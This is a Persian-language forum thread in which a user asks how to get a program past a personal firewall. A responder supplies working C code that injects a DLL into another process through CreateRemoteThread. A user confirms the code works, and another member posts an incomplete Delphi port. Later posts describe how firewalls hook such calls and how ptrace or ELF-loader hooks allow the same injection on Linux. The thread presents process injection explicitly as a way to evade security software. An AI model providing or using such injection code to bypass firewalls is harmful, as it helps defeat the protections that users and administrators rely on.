نمایش نتایج 1 تا 15 از 15

نام تاپیک: دور زدن فایروال

  1. #1

    دور زدن فایروال

    سلام دوستان
    من تمام بحثهای این قسمت رو خوندم اما نتونستم مشکلمو حل کنم
    من یه فایروال دارم که میخام بای پسش بکنم....یه چیزی مثل زون الارم ( ولی زون الارم نیست )
    و میدونم اگه برنامم از داخل اینترنت اکسپلورر اجرا بشه میتونم فایروال رد کنم
    مقاله ها رو خوندم اما حالا
    چطوری اینکار رو بکنم ؟؟ اگه ممکنه ساده ترین روش رو توضیح بدین که بتونم خیلی سریع یه دمو ازش در بیارم

    خیلی خیلی ممنون

  2. #2
    این روزها اغلب فایروالهای شخصی جلوی Code Injection یا Remote Memory Manipulation رو میگیرن ، بهر حال جواب سوالت ساده هست ، و اگه مطالب قبلی فروم رو به دفت مطالعه کنی باید خودت بتونی بنویسی .

    ساده ترین روش اجرا کردن کد در کانتکست یک پروسهء غریبه استفاده از Remote Thread است . ابتدا هندلی به پروسهء مقصد ایجاد میکنی ، کد مورد نظرت که در قالب یک DLL آمادهء اجراست فراخوانی میکنی ، حافظه مورد نظر رو در پروسهء فوق الذکر اختصاص میدی ، Remote thread رو ایجاد میکنی که حاوی کد DLL ات هست ؛ این هم ساده ترین کد ممکن :

    BOOL InjectDLL(DWORD ProcessID) {
    HANDLE Proc;
    char buf[50]={0};
    LPVOID RemoteString, LoadLibAddy;
    if(!ProcessID) return false;
    Proc = OpenProcess(CREATE_THREAD_ACCESS, FALSE, ProcessID);
    if(!Proc) {
    sprintf(buf, "OpenProcess() failed: %d", GetLastError()); MessageBox(NULL, buf, "Loader", NULL); return false;
    }
    LoadLibAddy = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.d ll"), "LoadLibraryA");
    RemoteString = (LPVOID)VirtualAllocEx(Proc, NULL, strlen(DLL_NAME), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(Proc, (LPVOID)RemoteString, DLL_NAME,strlen(DLL_NAME), NULL);
    CreateRemoteThread(Proc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddy, (LPVOID)RemoteString, NULL, NULL); CloseHandle(Proc);
    return true; }
    خوش باشی
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  3. #3
    کاربر دائمی آواتار Hamid_PaK
    تاریخ عضویت
    تیر 1384
    محل زندگی
    تهران
    پست
    1,125
    فرق بین ProccessInjection با InjectDll چیه ؟؟؟

  4. #4
    کاربر دائمی آواتار hmm
    تاریخ عضویت
    مهر 1382
    محل زندگی
    ایران - یزد
    پست
    1,229
    inpy جان از کدت و بهتر از اون ، منطق نهفته درکد ممنونم .
    هرچند با c بیگانه ام ولی روش رو تا حدودی فهمیدم!
    ولی سوالم اینه که آیا ویندوز به این راحتی اجازه میده توی کانتکست پروسه ها یه thread جدید ایجاد بشه ؟
    من متوجه نمیشه امنیت ویندوز یعنی همین؟
    آیا ویندوز روشی برای جلوگیری از اینکار نداره و باید فقط به سراغ نبوغ برنامه نویس رفت؟
    آخرین ویرایش به وسیله hmm : چهارشنبه 03 خرداد 1385 در 07:10 صبح

  5. #5
    جلوگیری ؟
    این یک نقیصه نیست . یک امکان و ویژگی هست . اگر چنین قابلیتی وجود نداشته باشه کسی نمیتونه : Anti Virus - Local Proxy - Application Level Firewall - Host-based IDS و امثال اینها رو بنویسه . چنین امکانی روی لینوکس و سولاریس هم وجود داره .
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  6. #6
    کاربر دائمی آواتار hmm
    تاریخ عضویت
    مهر 1382
    محل زندگی
    ایران - یزد
    پست
    1,229
    از وقتی که گذاشتی سپاسگذارم
    ولی من نمی تونم خودم رو متقاعد کنم (البته این قاعدتاً مشکل شما و بیل گیتس و توسعه دهنده های لینوکس و سولاریس نیست!) .
    فضای حافظه یه پردازش مربوط به خودشه مثل مالکیت خونه خودتون. کسی اجازه نداره بهش تجاوز کنه.حالا با این تفاسیر هر threadی میتونه پا برهنه بپره وسط کانتکست پروسه من و هر کاری دلش میخواد بکنه .
    البته میدونم که حتماً این ویژگی که شما گفتید، حتماً یه ویژگیه. ولی من ارتباطش رو تشخیص نمیدم !(اینهم از مضرات کمی دانش حقیره که بقیه رو تو دردسر میندازه)

  7. #7
    آقا این داره کار میکنه دمت گرم !!!!!
    میشه بگی فایروالها چطوری جلوی اینکارا رو میگیرن ؟

  8. #8
    بستگی به فایروال شخصی مد نظرت داره .
    اما اغلب یک Hook ساده کافی هست تا جلوی Remotethread Call گرفته بشه . مثلا" ZoneAlarm در حالت پیش فرض جلوی این فراخوانی رو نمیگیره اما به انتخاب کاربر ، یک Hook نصب میکنه که اگر کدت رو به فضای پروسه دیگری تزریق کردی بلافاصله متوقفش کنه و یک اخطار هم بده . اغلب فایروالهای شخصی با روشهای - کمی - متفاوت چنین کاری رو انجام میدن .
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  9. #9
    ایول .....
    آقا رفرنسی برای اینجور چیزا داری ؟

  10. #10
    "اینجور چیزا" رو نمیشناسم ؛
    اما شاید تو کتابخانهء امنیت نرم افزار چیزی باشه که به دردت بخوره .

    موفق باشی
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  11. #11
    کاربر دائمی آواتار Hamid_PaK
    تاریخ عضویت
    تیر 1384
    محل زندگی
    تهران
    پست
    1,125
    با سلام Inprise
    کد رو به دلفی تبدیل کردم ولی کار نکرد امکان داره اشکال کار رو بگی با تشکر ...


    function InjectDLL(ProcessID: DWORD): Boolean;
    var
    Proc: THandle;
    RemoteString,
    LoadLibAddy: Pointer;
    begin
    Result := False;
    if ProcessID = INVALID_HANDLE_VALUE then Exit;
    Proc := OpenProcess(PROCESS_CREATE_THREAD, False, ProcessID);
    if Proc = INVALID_HANDLE_VALUE then Exit;
    LoadLibAddy := GetProcAddress(GetModuleHandle('kernel32.dll'), 'LoadLibraryA');
    RemoteString := VirtualAllocEx(Proc, nil, Length('DLL_NAME'), MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE);
    CreateRemoteThread(Proc, nil, 0, LoadLibAddy, RemoteString, 0, 0);
    Result := True;
    end;


    با تشکر ...

  12. #12
    کد دلفی قبلا" نوشته شده . از بخش جستجوی سایت استفاده کن .
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

  13. #13
    فکر نمیکنم بشه روی لینوکسم اینکارو کرد
    غیر از فانکشنهای سی که دیگه چیزی رو لینوکس نیست
    ..................؟؟؟

  14. #14
    در ضمن من کد شما رو امروز به استاد امنیت شبکمون نشون دادم
    و گفتن که چنین چیزی رو لینوکس امکان نداره و لینوکس سیستم عامل امنیه

  15. #15
    فکر نمیکنم بشه روی لینوکسم اینکارو کرد
    غیر از فانکشنهای سی که دیگه چیزی رو لینوکس نیست

    من معمولا" به دوستانم توصیه میکنم تا وقتی چیزی برای مطالعه وجود داره فکر نکنن چون معنی نداره ، و راستش رو بخوای خودم مدت زیادیه که شانسی برای برای فکر کردن نداشتم !

    لینوکس هم مثل بقیه سیستمهای عامل API هائی برای تبادلات سطح پائین ارائه میکنه که بخشی از اونها به System Call معروف هستند ، چیزی معادل Native API های ویندوز که قبلا" در موردشون نوشتم - ر.ک قابلیت جستجوی فروم - بحث Code Injection بحث عجیب یا عمیقی نیست پس متوجه نمیشم چرا خیلیها رو شگفتزده میکنه ، اما روی لینوکس بسادگی با استفاده از ptrace میتونی کد مورد نظرت رو به فضای پروسه [های] مورد نظرت تزریق کنی ، یا حتی به عنوان یک راه حل بهتر ، با هوک ELF Loader میشه کد مد نظر رو به فضای تمام یا بخشی از پروسه های در حال اجرا تزریق کرد ؛ بعضی ها با ترکیب روشهائی مثل اینها حتی کتابخانه های آماده ای هم برای اینکار نوشته اند ...

    و گفتن که چنین چیزی رو لینوکس امکان نداره و لینوکس سیستم عامل امنیه

    همونطور که تو جواب صفحه قبلم توضیح دادم ، ما در حال صحبت کردن در مورد یک باگ یا نقیصه نیستیم که دربارهء امنیت صحبت کنیم . این یک ویژگی است که سیستم عامل ازش استفاده میکنه و بدون وجود اون هیچ خدمتی وجود داره . آنتی ویروسها فقط با استفاده از چنین امکانی میتونن ویروسهای پلی مورفیک رو شناسائی کنن ، یا فایروالهای سطح کاربرد با همین امکان میتونن مجوز های دسترسی به شبکه یا منابع رو اعطا یا لغو کنن و ... . طبیعتا" میشه یک فایل رو روی دیسک نوشت ، یک فایل میتونه ویروس باشه ، پس میشه ویروس رو روی دیسک نوشت ، آیا به این دلیل لینوکس نا امن است ؟ اولین ویروس لینوکسی که دیدم از این قابلیت سوء استفاده میکنه این بود و برای مطالعهء یک مقاله مفصل هم این : Building ptrace injecting shellcodes. از بحث امنیت بگذریم ، سلام گوگل رو به استادت برسون .

    موفق باشی
    UNIX is simple. It just takes a genius to understand its simplicity
    -- Dennis Ritchie

قوانین ایجاد تاپیک در تالار

  • شما نمی توانید تاپیک جدید ایجاد کنید
  • شما نمی توانید به تاپیک ها پاسخ دهید
  • شما نمی توانید ضمیمه ارسال کنید
  • شما نمی توانید پاسخ هایتان را ویرایش کنید
  •